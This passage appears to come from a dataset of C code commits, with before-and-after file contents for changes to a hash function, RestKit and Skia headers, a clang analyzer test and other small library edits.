double.\n","lang":"C","license":"lgpl-2.1","repos":"ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead"}
{"commit":"d8aba3bf19073a4a95a31525d049f3675f0b54ff","old_file":"lib\/fnv_1a.c","new_file":"lib\/fnv_1a.c","old_contents":"#include <assert.h>\n\n#include \"fnv_1a.h\"\n\nuint128_t fnv_1a(const void * restrict const buf,\n                 const size_t                len,\n                 const size_t                skip_pos,\n                 const size_t                skip_len)\n{\n    assert((skip_pos <= len) && (skip_pos + skip_len <= len));\n\n    static const uint128_t prime =\n        (((uint128_t)0x0000000001000000) << 64) | 0x000000000000013B;\n    uint128_t hash =\n        (((uint128_t)0x6C62272E07BB0142) << 64) | 0x62B821756295C58D;\n\n    \/\/ two consecutive loops should be faster than one loop with an \"if\"\n    const uint8_t * restrict const bytes = buf;\n    for (size_t i = 0; i < skip_pos; i++) {\n        hash ^= bytes[i];\n        hash *= prime;\n    }\n    for (size_t i = skip_pos + skip_len; i < len; i++) {\n        hash ^= bytes[i];\n        hash *= prime;\n    }\n    return hash;\n}\n","new_contents":"#include \"fnv_1a.h\"\n#include \"debug.h\"\n\nuint128_t fnv_1a(const void * restrict const buf,\n                 const size_t                len,\n                 const size_t                skip_pos,\n                 const size_t                skip_len)\n{\n    assert((skip_pos <= len) && (skip_pos + skip_len <= len),\n           \"len %zu, skip_pos %zu, skip_len %zu\", len, skip_pos, skip_len);\n\n    static const uint128_t prime =\n        (((uint128_t)0x0000000001000000) << 64) | 0x000000000000013B;\n    uint128_t hash =\n        (((uint128_t)0x6C62272E07BB0142) << 64) | 0x62B821756295C58D;\n\n    \/\/ two consecutive loops should be faster than one loop with an \"if\"\n    const uint8_t * restrict const bytes = buf;\n    for (size_t i = 0; i < skip_pos; i++) {\n        hash ^= bytes[i];\n        hash *= prime;\n    }\n    for (size_t i = skip_pos + skip_len; i < len; i++) {\n        hash ^= bytes[i];\n        hash *= prime;\n    }\n    return hash;\n}\n","subject":"Use the new assert() macro","message":"Use the new assert() macro\n","lang":"C","license":"bsd-2-clause","repos":"NTAP\/quant,NTAP\/quant,NTAP\/quant"}
{"commit":"19738ff61fecd49c45e9002bb79ea8c62d58bacb","old_file":"Code\/Support\/Parsers\/XML\/RKXMLParserLibXML.h","new_file":"Code\/Support\/Parsers\/XML\/RKXMLParserLibXML.h","old_contents":"\/\/\n\/\/  RKXMLParser.h\n\/\/\n\/\/  Created by Jeremy Ellison on 2011-02-28.\n\/\/  Copyright 2011 RestKit\n\/\/  \n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/  \n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/  \n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"..\/..\/RKParser.h\"\n\n\/**\n This is a dead simple XML parser that uses libxml2 to parse an XML document\n into a dictionary. It is designed specifically for use with RestKit. It\n does not support any fanciness like Namespaces, DTDs, or other nonsense.\n It does not save attributes on tags, it only cares about nested content and text.\n *\/\n@interface RKXMLParserLibXML : NSObject <RKParser> {\n}\n\n- (NSDictionary*)parseXML:(NSString*)XML;\n\n@end\n","new_contents":"\/\/\n\/\/  RKXMLParser.h\n\/\/\n\/\/  Created by Jeremy Ellison on 2011-02-28.\n\/\/  Copyright 2011 RestKit\n\/\/  \n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/  \n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/  \n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"..\/..\/RKParser.h\"\n\n\/**\n This is a dead simple XML parser that uses libxml2 to parse an XML document\n into a dictionary. It is designed specifically for use with RestKit. It\n does not support any fanciness like Namespaces, DTDs, or other nonsense.\n It handles text nodes, attributes, and nesting structures and builds key-value\n coding compliant representations of the XML structure.\n \n It currently does not support XML generation -- only parsing.\n *\/\n@interface RKXMLParserLibXML : NSObject <RKParser> {\n}\n\n- (NSDictionary *)parseXML:(NSString *)XML;\n\n@end\n","subject":"Update outdated comments in the XML parser header","message":"Update outdated comments in the XML parser header\n","lang":"C","license":"apache-2.0","repos":"qingsong-xu\/RestKit,dx285\/RestKit,fhchina\/RestKit,0dayZh\/RestKit,pbogdanv\/RestKit,zilaiyedaren\/RestKit,common2015\/RestKit,timbodeit\/RestKit,fhchina\/RestKit,erichedstrom\/RestKit,CodewareTechnology\/RestKit,HYPERHYPER\/RestKit2,concreteinteractive\/RestKit,braindata\/RestKit-1,TimeIncOSS\/RestKit,naqi\/RestKit,oligriffiths\/RestKit,oye-lionel\/GithubTest,TwinEngineLabs-Engineering\/RestKit-TEL,wuxsoft\/RestKit,djz-code\/RestKit,sachin-khard\/NucleusRestKit,LiuShulong\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,StasanTelnov\/RestKit,Gaantz\/RestKit,TheFarm\/RestKit,justinyaoqi\/RestKit,damiannz\/RestKit,cryptojuice\/RestKit,braindata\/RestKit-1,hejunbinlan\/RestKit,cnbin\/RestKit,Meihualu\/RestKit,aleufms\/RestKit,ChinaPicture\/RestKit,jrtaal\/RestKit,wireitcollege\/RestKit,ppierson\/RestKit,sandyway\/RestKit,nphkh\/RestKit,cfis\/RestKit,QLGu\/RestKit,margarina\/RestKit-latest,TwinEngineLabs-Engineering\/RestKit-TEL,adozenlines\/RestKit,jrtaal\/RestKit,antondarki\/RestKit,mcfedr\/RestKit,gumdal\/RestKit,Papercloud\/RestKit,zilaiyedaren\/RestKit,ForrestAlfred\/RestKit,money-alex2006hw\/RestKit,nalindz\/pulpfiction-RestKit,gank0326\/restkit,wireitcollege\/RestKit,antondarki\/RestKit,youssman\/RestKit,qingsong-xu\/RestKit,HYPERHYPER\/RestKit2,coderChrisLee\/RestKit,nalindz\/pulpfiction-RestKit,apontador\/RestKit,jrtaal\/RestKit,REXLabsInc\/RestKit,ipmobiletech\/RestKit,jonesgithub\/RestKit,sandyway\/RestKit,agworld\/RestKit,SuPair\/RestKit,wuxsoft\/RestKit,moneytree\/RestKit,timbodeit\/RestKit,sachin-khard\/NucleusRestKit,hanangellove\/RestKit,braindata\/RestKit,QLGu\/RestKit,samanalysis\/RestKit,gank0326\/restkit,nphkh\/RestKit,nett55\/RestKit,lucasecf\/RestKit,margarina\/RestKit-latest,cryptojuice\/RestKit,mumer92\/RestKit,concreteinteractive\/RestKit,SuPair\/RestKit,moritzh\/RestKit,moritzh\/RestKit,oye-lionel\/GithubTest,ChinaPicture\/RestKit,money-alex2006hw\/RestKit,hejunbinlan\/RestKit,zhenlove\/RestKit,PonderProducts\/RestKit,percysnoodle\/RestKit,naqi\/RestKit,kevmeyer\/RestKit,lmirosevic\/RestKit,oye-lionel\/GithubTest,SinnerSchraderMobileMirrors\/RestKit,baumatron\/RestKit,cfis\/RestKit,Livestream\/RestKit,hejunbinlan\/RestKit,fedegasp\/RestKit,sachin-khard\/NucRestKit,moneytree\/RestKit,gank0326\/restkit,hanangellove\/RestKit,ppierson\/RestKit,hejunbinlan\/RestKit,zaichang\/RestKit,lmirosevic\/RestKit,dx285\/RestKit,Papercloud\/RestKit,sandyway\/RestKit,moneytree\/RestKit,Livestream\/RestKit,0x73\/RestKit,oligriffiths\/RestKit,Flutterbee\/RestKit,sachin-khard\/NucleusRestKit,timbodeit\/RestKit,mberube09\/RestKit,braindata\/RestKit,zhenlove\/RestKit,cryptojuice\/RestKit,taptaptap\/RestKit,zjh171\/RestKit,jonesgithub\/RestKit,paperlesspost\/RestKit,pbogdanv\/RestKit,REXLabsInc\/RestKit,lucasecf\/RestKit,lucasecf\/RestKit,oligriffiths\/RestKit,zjh171\/RestKit,wireitcollege\/RestKit,mavericksunny\/RestKit,cryptojuice\/RestKit,adozenlines\/RestKit,Juraldinio\/RestKit,aleufms\/RestKit,ForrestAlfred\/RestKit,LiuShulong\/RestKit,coderChrisLee\/RestKit,adozenlines\/RestKit,LiuShulong\/RestKit,cnbin\/RestKit,CenterDevice\/RestKit,vilinskiy-playdayteam\/RestKit,REXLabsInc\/RestKit,baumatron\/RestKit,canaydogan\/RestKit,loverbabyz\/RestKit,DocuSignDev\/RestKit,SuPair\/RestKit,RyanCodes\/RestKit,justinyaoqi\/RestKit,ipmobiletech\/RestKit,percysnoodle\/RestKit,CodewareTechnology\/RestKit,loverbabyz\/RestKit,pat2man\/RestKit,nett55\/RestKit,SinnerSchraderMobileMirrors\/RestKit,apontador\/RestKit,lmirosevic\/RestKit,gumdal\/RestKit,braindata\/RestKit-1,gauravstomar\/RestKit,mikarun\/RestKit,lmirosevic\/RestKit,moritzh\/RestKit,antondarki\/RestKit,DejaMi\/RestKit,Bogon\/RestKit,apontador\/RestKit,imton\/RestKit,gumdal\/RestKit,wireitcollege\/RestKit,SuPair\/RestKit,hanangellove\/RestKit,ppierson\/RestKit,loverbabyz\/RestKit,money-alex2006hw\/RestKit,CodewareTechnology\/RestKit,canaydogan\/RestKit,taptaptap\/RestKit,cnbin\/RestKit,DocuSignDev\/RestKit,youssman\/RestKit,Bogon\/RestKit,Juraldinio\/RestKit,lucasecf\/RestKit,goldstar\/RestKit,nalindz\/pulpfiction-RestKit,thomaschristensen\/RestKit,CenterDevice\/RestKit,sachin-khard\/NucRestKit,DejaMi\/RestKit,0dayZh\/RestKit,canaydogan\/RestKit,caamorales\/RestKit,caamorales\/RestKit,CenterDevice\/RestKit,apontador\/RestKit,common2015\/RestKit,gauravstomar\/RestKit,qingsong-xu\/RestKit,vilinskiy-playdayteam\/RestKit,Bogon\/RestKit,Juraldinio\/RestKit,ForrestAlfred\/RestKit,adozenlines\/RestKit,thomaschristensen\/RestKit,zilaiyedaren\/RestKit,kevmeyer\/RestKit,imton\/RestKit,nalindz\/pulpfiction-RestKit,0x73\/RestKit,0dayZh\/RestKit,mikarun\/RestKit,gauravstomar\/RestKit,agworld\/RestKit,dx285\/RestKit,samanalysis\/RestKit,mikarun\/RestKit,qingsong-xu\/RestKit,SinnerSchraderMobileMirrors\/RestKit,taptaptap\/RestKit,wuxsoft\/RestKit,pbogdanv\/RestKit,fedegasp\/RestKit,oye-lionel\/GithubTest,pat2man\/RestKit,Flutterbee\/RestKit,common2015\/RestKit,djz-code\/RestKit,djz-code\/RestKit,Meihualu\/RestKit,jonesgithub\/RestKit,goldstar\/RestKit,sachin-khard\/NucRestKit,taptaptap\/RestKit,concreteinteractive\/RestKit,braindata\/RestKit,QLGu\/RestKit,damiannz\/RestKit,wangjiangwen\/RestKit,nett55\/RestKit,ipmobiletech\/RestKit,samkrishna\/RestKit,fedegasp\/RestKit,djz-code\/RestKit,canaydogan\/RestKit,Gaantz\/RestKit,forcedotcom\/RestKit,LiuShulong\/RestKit,money-alex2006hw\/RestKit,Juraldinio\/RestKit,justinyaoqi\/RestKit,cnbin\/RestKit,hejunbinlan\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,wuxsoft\/RestKit,Juraldinio\/RestKit,HarrisLee\/RestKit,QLGu\/RestKit,ChinaPicture\/RestKit,adozenlines\/RestKit,coderChrisLee\/RestKit,Meihualu\/RestKit,coderChrisLee\/RestKit,nphkh\/RestKit,jrtaal\/RestKit,cryptojuice\/RestKit,mberube09\/RestKit,money-alex2006hw\/RestKit,HYPERHYPER\/RestKit2,wyzzarz\/RestKit,RyanCodes\/RestKit,0x73\/RestKit,TheFarm\/RestKit,orta\/RestKit,HYPERHYPER\/RestKit2,braindata\/RestKit-1,fhchina\/RestKit,oligriffiths\/RestKit,zhenlove\/RestKit,RestKit\/RestKit,aleufms\/RestKit,mberube09\/RestKit,ipmobiletech\/RestKit,jonesgithub\/RestKit,dx285\/RestKit,percysnoodle\/RestKit,dx285\/RestKit,Gaantz\/RestKit,apontador\/RestKit,margarina\/RestKit-latest,vilinskiy-playdayteam\/RestKit,TimeIncOSS\/RestKit,wyzzarz\/RestKit,Flutterbee\/RestKit,imton\/RestKit,sachin-khard\/NucleusRestKit,Gaantz\/RestKit,RyanCodes\/RestKit,LiuShulong\/RestKit,CodewareTechnology\/RestKit,hanangellove\/RestKit,fhchina\/RestKit,DocuSignDev\/RestKit,zjh171\/RestKit,wangjiangwen\/RestKit,PonderProducts\/RestKit,damiannz\/RestKit,lmirosevic\/RestKit,mikarun\/RestKit,aleufms\/RestKit,lucasecf\/RestKit,moritzh\/RestKit,baumatron\/RestKit,orta\/RestKit,Livestream\/RestKit,paperlesspost\/RestKit,youssman\/RestKit,thomaschristensen\/RestKit,mavericksunny\/RestKit,zjh171\/RestKit,gauravstomar\/RestKit,TheFarm\/RestKit,moneytree\/RestKit,0x73\/RestKit,kevmeyer\/RestKit,caamorales\/RestKit,HarrisLee\/RestKit,imton\/RestKit,PonderProducts\/RestKit,forcedotcom\/RestKit,samkrishna\/RestKit,sachin-khard\/NucleusRestKit,caamorales\/RestKit,qingsong-xu\/RestKit,mcfedr\/RestKit,baumatron\/RestKit,DejaMi\/RestKit,HarrisLee\/RestKit,wireitcollege\/RestKit,timbodeit\/RestKit,baumatron\/RestKit,ChinaPicture\/RestKit,loverbabyz\/RestKit,antondarki\/RestKit,zjh171\/RestKit,jrtaal\/RestKit,mavericksunny\/RestKit,wuxsoft\/RestKit,kevmeyer\/RestKit,Meihualu\/RestKit,nphkh\/RestKit,gank0326\/restkit,braindata\/RestKit,cnbin\/RestKit,forcedotcom\/RestKit,loverbabyz\/RestKit,sachin-khard\/NucRestKit,RestKit\/RestKit,pbogdanv\/RestKit,moritzh\/RestKit,zilaiyedaren\/RestKit,TimeIncOSS\/RestKit,0x73\/RestKit,agworld\/RestKit,CenterDevice\/RestKit,samanalysis\/RestKit,gank0326\/restkit,damiannz\/RestKit,antondarki\/RestKit,coderChrisLee\/RestKit,Flutterbee\/RestKit,kevmeyer\/RestKit,goldstar\/RestKit,sandyway\/RestKit,Bogon\/RestKit,naqi\/RestKit,paperlesspost\/RestKit,PonderProducts\/RestKit,margarina\/RestKit-latest,HarrisLee\/RestKit,oye-lionel\/GithubTest,common2015\/RestKit,thomaschristensen\/RestKit,zilaiyedaren\/RestKit,fhchina\/RestKit,wangjiangwen\/RestKit,zaichang\/RestKit,canaydogan\/RestKit,pat2man\/RestKit,CodewareTechnology\/RestKit,SuPair\/RestKit,HYPERHYPER\/RestKit2,aleufms\/RestKit,mikarun\/RestKit,ppierson\/RestKit,StasanTelnov\/RestKit,pat2man\/RestKit,zhenlove\/RestKit,wangjiangwen\/RestKit,ipmobiletech\/RestKit,ForrestAlfred\/RestKit,nett55\/RestKit,DejaMi\/RestKit,paperlesspost\/RestKit,wyzzarz\/RestKit,sachin-khard\/NucRestKit,pat2man\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,wangjiangwen\/RestKit,Meihualu\/RestKit,fedegasp\/RestKit,Gaantz\/RestKit,HarrisLee\/RestKit,mumer92\/RestKit,vilinskiy-playdayteam\/RestKit,mumer92\/RestKit,ForrestAlfred\/RestKit,nphkh\/RestKit,jonesgithub\/RestKit,erichedstrom\/RestKit,mumer92\/RestKit,justinyaoqi\/RestKit,0dayZh\/RestKit,Papercloud\/RestKit,concreteinteractive\/RestKit,justinyaoqi\/RestKit,percysnoodle\/RestKit,naqi\/RestKit,common2015\/RestKit,braindata\/RestKit-1,nett55\/RestKit,QLGu\/RestKit,Livestream\/RestKit,erichedstrom\/RestKit,RestKit\/RestKit,youssman\/RestKit,forcedotcom\/RestKit,gauravstomar\/RestKit,timbodeit\/RestKit,fedegasp\/RestKit,imton\/RestKit,zhenlove\/RestKit,Bogon\/RestKit,hanangellove\/RestKit,Papercloud\/RestKit,DejaMi\/RestKit,Papercloud\/RestKit,mumer92\/RestKit,pbogdanv\/RestKit,agworld\/RestKit,ChinaPicture\/RestKit,samanalysis\/RestKit,concreteinteractive\/RestKit,RyanCodes\/RestKit,samkrishna\/RestKit,wyzzarz\/RestKit,StasanTelnov\/RestKit,mavericksunny\/RestKit,RyanCodes\/RestKit,ppierson\/RestKit,mberube09\/RestKit,sandyway\/RestKit,caamorales\/RestKit,oligriffiths\/RestKit,zaichang\/RestKit,SinnerSchraderMobileMirrors\/RestKit,zaichang\/RestKit,damiannz\/RestKit,goldstar\/RestKit,cfis\/RestKit,samanalysis\/RestKit,moneytree\/RestKit,REXLabsInc\/RestKit,youssman\/RestKit"}
{"commit":"1429550f5d9b6df0693b7cc10de4258982b6251d","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 58\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 59\n#endif\n","subject":"Update Skia milestone to 59","message":"Update Skia milestone to 59\n\nBUG=skia:\n\nChange-Id: Ifa8fa20a838b2899a1230bf51cea7c4cf28971d8\nReviewed-on: https:\/\/skia-review.googlesource.com\/9139\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,rubenvb\/skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc"}
{"commit":"d7347c0f845d280f8fdb65d08fffeb2f79903be8","old_file":"src\/include\/libbad_base.h","new_file":"src\/include\/libbad_base.h","old_contents":"\/**\n * @file      include\/libbad_base.h\n * @author    Bryce Davis\n * @date      19 November 2015\n * @brief     Header file for internal libbad declarations\n * @copyright Copyright (c) 2015, Bryce Davis. Released under the MIT License.\n *            See LICENSE.txt for details.\n *\/\n#ifndef _LIBBAD_BASE_H\n#define _LIBBAD_BASE_H\n\n\/**\n * @typedef A convenience typedef for long long ints.\n *\/\ntypedef long long int llint;\n\/**\n * @typedef A convenience typedef for long doubles.\n *\/\ntypedef long double ldouble;\n\n\/**\n * @union DATA\n * @brief A data value for libbad data structures.\n *\n * A DATA can hold either a long long int, a long double, or a pointer. Takes\n * up 16 bytes.\n *\/\ntypedef union libbad_data_t {\n    llint data_int;\n    ldouble data_dbl;\n    void* data_ptr;\n} DATA;\n\n#endif\n","new_contents":"\/**\n * @file      include\/libbad_base.h\n * @author    Bryce Davis\n * @date      19 November 2015\n * @brief     Header file for internal libbad declarations\n * @copyright Copyright (c) 2015, Bryce Davis. Released under the MIT License.\n *            See LICENSE.txt for details.\n *\/\n#ifndef _LIBBAD_BASE_H\n#define _LIBBAD_BASE_H\n\n\/**\n * A convenience typedef for long long ints.\n *\/\ntypedef long long int llint;\n\/**\n * A convenience typedef for long doubles.\n *\/\ntypedef long double ldouble;\n\n\/**\n * @union libbad_data_t\n * @brief A data value for libbad data structures.\n *\n * An instance of libbad_data_t can hold either a long long int, a long double, \n * or a pointer. Takes up 16 bytes.\n *\/\nunion libbad_data_t {\n    llint data_int;\t\t\/**< A long long integer value (8 bytes) *\/\n    ldouble data_dbl;\t\/**< A long double value (16 bytes) *\/\n    void* data_ptr;\t\t\/**< A pointer value (8 bytes) *\/\n};\n\n\/**\n * Use DATA instead of \"union libbad_data_t\"\n *\/\ntypedef union libbad_data_t DATA;\n\n#endif\n","subject":"Restructure implementation and documentation of DATA\/libbad_data_t","message":"Restructure implementation and documentation of DATA\/libbad_data_t\n","lang":"C","license":"mit","repos":"mahimahi42\/libbad"}
{"commit":"6f24862a543587f12ad33612ac4c8b29b61ab556","old_file":"include\/objects.h","new_file":"include\/objects.h","old_contents":"#include <vector>\n#include <map>\n#include <string>\n\nusing namespace std;\n\n\n#ifndef OBJECTS_H\n#define OBJECTS_H\n\n\tunion DataValue {\n\t\tstring val_s;\n\t\tlong int val_i;\n\t\tfloat val_f;\n\t\tdouble val_d;\n\t};\n\n\ttypedef map<string, DataValue> DataMap;\n\ttypedef map<string, DataValue>::iterator DataIterator;\n\n\tclass DataInstance {\n\tprivate:\n\t\tint weight;\n\t\tDataMap dataStore;\n\tpublic:\n\t\tDataInstance();\n\t\t~DataInstance();\n\t};\n\n\tclass DataObject\t{\n\tprivate:\n\t\tvector<DataInstance> instances;\n\tpublic:\n\t\tDataObject();\n\t\t~DataObject();\n\t};\n\n#endif","new_contents":"#ifndef OBJECTS_H\n#define OBJECTS_H\n\n\t#include <vector>\n\t#include <map>\n\t#include <string>\n\tusing namespace std;\n\n\tclass IntDataValue : public DataValue\n\t{\n\tprivate:\n\tpublic:\n\t\tIntDataValue(int val): value(val);\n\n\t\tvoid compareWith(DataValue &I) {\n\t\t\tif(I.value < this->value) return -1;\n\t\t\telse if(I.value == this->value) return 0;\n\t\t\treturn 1;\n\t\t}\n\n\t\tvoid updateTo(DataValue &I) {\n\t\t\tthis->value = I.value;\n\t\t}\n\n\t\tint value;\n\t};\n\n\tclass DoubleDataValue : public DataValue\n\t{\n\tprivate:\n\tpublic:\n\t\tDoubleDataValue(double val): value(val);\n\n\t\tvoid compareWith(DataValue &I) {\n\t\t\tif(this->value < I.value) return -1;\n\t\t\telse if(I.value == this->value) return 0;\n\t\t\treturn 1;\n\t\t}\n\n\t\tvoid updateTo(DataValue &I) {\n\t\t\tthis->value = I.value;\n\t\t}\n\n\t\tdouble value;\n\t};\n\n\tclass DataValue {\n\tpublic:\n\t \tDataValue();\n\t\t\/\/ CompareWith(I): return -1 if lesser, 0 if equal, 1 if greater\n\t\tvirtual void compareWith(DataValue &I) = 0;\n\t\t\/\/ UpdateTo(I): updates value of current object to match I\n\t\tvirtual void updateTo(DataValue &I) = 0;\n\n\t\tvoid updateIfLargerThan(DataValue &I) {\n\t\t\t\/*Implement : check for typeId matching*\/\n\t\t\tif(this->compareWith(I)==1)\n\t\t\t\tthis->updateTo(I);\n\t\t}\n\n\t \t~DataValue();\t \t\n\t};\n\n\ttypedef map<string, DataValue> DataMap;\n\ttypedef map<string, DataValue>::iterator DataIterator;\n\n\tclass DataInstance {\n\tprivate:\n\t\tint weight;\n\t\tDataMap dataStore;\n\tpublic:\n\t\tDataInstance();\n\t\tDataInstance(DataInstance &instance);\n\t\t~DataInstance();\n\t};\n\n\tclass DataObject {\n\tprivate:\n\t\tvector<DataInstance> instances;\n\tpublic:\n\t\tDataObject();\n\t\t~DataObject();\n\t};\n\n#endif","subject":"Make an abstract DataValue class, and implement Double and IntegerValues","message":"Make an abstract DataValue class, and implement Double and IntegerValues\n","lang":"C","license":"mit","repos":"Akshay809\/kopSkylines,Akshay809\/kopSkylines"}
{"commit":"5d4d638f39d42ef3b1288038f319fc50d254a903","old_file":"user_modules.h","new_file":"user_modules.h","old_contents":"\/\/ email=foo@bar.com\n\/\/ branch=master\n#ifndef __USER_MODULES_H__\n#define __USER_MODULES_H__\n\n#define LUA_USE_BUILTIN_STRING\t\t\/\/ for string.xxx()\n#define LUA_USE_BUILTIN_TABLE\t\t\/\/ for table.xxx()\n#define LUA_USE_BUILTIN_COROUTINE\t\/\/ for coroutine.xxx()\n#define LUA_USE_BUILTIN_MATH\t\t\/\/ for math.xxx(), partially work\n\/\/ #define LUA_USE_BUILTIN_IO \t\t\t\/\/ for io.xxx(), partially work\n\n\/\/ #define LUA_USE_BUILTIN_OS\t\t\t\/\/ for os.xxx(), not work\n\/\/ #define LUA_USE_BUILTIN_DEBUG\t\t\/\/ for debug.xxx(), not work\n\n#define LUA_USE_MODULES\n\n#ifdef LUA_USE_MODULES\n#define LUA_USE_MODULES_NODE\n#define LUA_USE_MODULES_FILE\n#define LUA_USE_MODULES_GPIO\n#define LUA_USE_MODULES_WIFI\n#define LUA_USE_MODULES_NET\n#define LUA_USE_MODULES_PWM\n#define LUA_USE_MODULES_I2C\n#define LUA_USE_MODULES_SPI\n#define LUA_USE_MODULES_TMR\n#define LUA_USE_MODULES_ADC\n#define LUA_USE_MODULES_UART\n#define LUA_USE_MODULES_OW\n#define LUA_USE_MODULES_BIT\n#define LUA_USE_MODULES_MQTT\n#define LUA_USE_MODULES_COAP\n#define LUA_USE_MODULES_U8G\n#define LUA_USE_MODULES_WS2812\n#define LUA_USE_MODULES_CJSON\n#endif \/* LUA_USE_MODULES *\/\n\n#endif\t\/* __USER_MODULES_H__ *\/\n","new_contents":"\/\/ email=foo@bar.com\n\/\/ branch=master\n#ifndef __USER_MODULES_H__\n#define __USER_MODULES_H__\n\n#define LUA_USE_BUILTIN_STRING\t\t\/\/ for string.xxx()\n#define LUA_USE_BUILTIN_TABLE\t\t\/\/ for table.xxx()\n#define LUA_USE_BUILTIN_COROUTINE\t\/\/ for coroutine.xxx()\n#define LUA_USE_BUILTIN_MATH\t\t\/\/ for math.xxx(), partially work\n\/\/ #define LUA_USE_BUILTIN_IO \t\t\t\/\/ for io.xxx(), partially work\n\n\/\/ #define LUA_USE_BUILTIN_OS\t\t\t\/\/ for os.xxx(), not work\n\/\/ #define LUA_USE_BUILTIN_DEBUG\t\t\/\/ for debug.xxx(), not work\n\n#define LUA_USE_MODULES\n\n#ifdef LUA_USE_MODULES\n\/\/ user modules\n#endif \/* LUA_USE_MODULES *\/\n\n#endif\t\/* __USER_MODULES_H__ *\/\n","subject":"Replace all user modules with token","message":"Replace all user modules with token\n","lang":"C","license":"mit","repos":"marcelstoer\/nodemcu-custom-build"}
{"commit":"7ac07664b96c582b40fe43149d9f7d46a22af147","old_file":"test\/Analysis\/std-c-library-functions-inlined.c","new_file":"test\/Analysis\/std-c-library-functions-inlined.c","old_contents":"","new_contents":"\/\/ RUN: %clang_analyze_cc1 -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple i686-unknown-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple x86_64-unknown-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple armv7-a15-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\/\/ RUN: %clang_analyze_cc1 -triple thumbv7-a15-linux -analyzer-checker=unix.StdCLibraryFunctions -verify %s\n\n\/\/ This test tests crashes that occur when standard functions are available\n\/\/ for inlining.\n\n\/\/ expected-no-diagnostics\n\nint isdigit(int _) { return !0; }\nvoid test_redefined_isdigit(int x) {\n  int (*func)(int) = isdigit;\n  for (; func(x);) \/\/ no-crash\n    ;\n}\n","subject":"Add a test forgotten in r339088.","message":"[analyzer] Add a test forgotten in r339088.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D50363\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@339726 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"cf3299b4a7621128279ec8a6ab928e95fd5848b3","old_file":"ldso\/ldso\/sh\/dl-syscalls.h","new_file":"ldso\/ldso\/sh\/dl-syscalls.h","old_contents":"\/* We can't use the real errno in ldso, since it has not yet\n * been dynamicly linked in yet. *\/\n#include \"sys\/syscall.h\"\nextern int _dl_errno;\n#undef __set_errno\n#define __set_errno(X) {(_dl_errno) = (X);}\n","new_contents":"\/* We can't use the real errno in ldso, since it has not yet\n * been dynamicly linked in yet. *\/\n#include \"sys\/syscall.h\"\nextern int _dl_errno;\n#undef __set_errno\n#define __set_errno(X) {(_dl_errno) = (X);}\n#warning !!! __always_inline redefined waiting for the fixed gcc\n#ifdef __always_inline\n#undef __always_inline\n#define __always_inline inline\n#endif\n","subject":"Make sh4 build works again adding a temporary work-around iby redefining __always_inline to inline until gcc 4.x.x will get fixed.","message":"Make sh4 build works again adding a temporary work-around\niby redefining 